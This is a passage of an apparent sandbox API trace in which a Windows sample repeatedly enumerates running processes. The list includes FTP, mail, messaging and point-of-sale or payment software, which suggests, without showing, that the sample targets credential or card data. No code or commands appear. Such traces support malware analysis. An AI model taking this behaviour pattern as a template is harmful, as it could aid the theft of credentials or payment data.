lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0269.075] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0269.077] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0269.079] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0269.130] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0269.132] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0269.135] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0269.137] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0269.139] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0269.142] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0269.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0269.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0269.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0269.184] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0269.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0269.189] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0269.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0269.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0269.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0269.199] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0269.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0269.203] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0269.205] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0269.257] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0269.260] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0269.262] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0269.264] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0269.267] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0269.286] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0269.289] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0269.291] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0269.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0269.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0269.297] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0269.299] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0269.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0269.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0269.307] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0269.309] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0269.310] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0269.312] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0269.314] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0269.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0269.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0269.371] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0269.374] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0269.376] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0269.393] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0269.395] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0269.397] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0269.399] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0269.401] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0269.403] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0269.405] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0269.408] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0269.410] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0269.411] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0269.413] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0269.415] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0269.416] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0269.418] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0269.420] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0269.422] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0269.423] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0269.475] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0269.477] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0269.479] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.480] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.482] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0269.484] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0269.486] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0269.489] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0269.491] CloseHandle (hObject=0x344) returned 1 [0269.491] Sleep (dwMilliseconds=0x64) [0269.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0269.549] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.551] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.552] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.554] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.555] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.557] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.559] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.561] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.562] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.564] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.615] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.617] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.619] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, 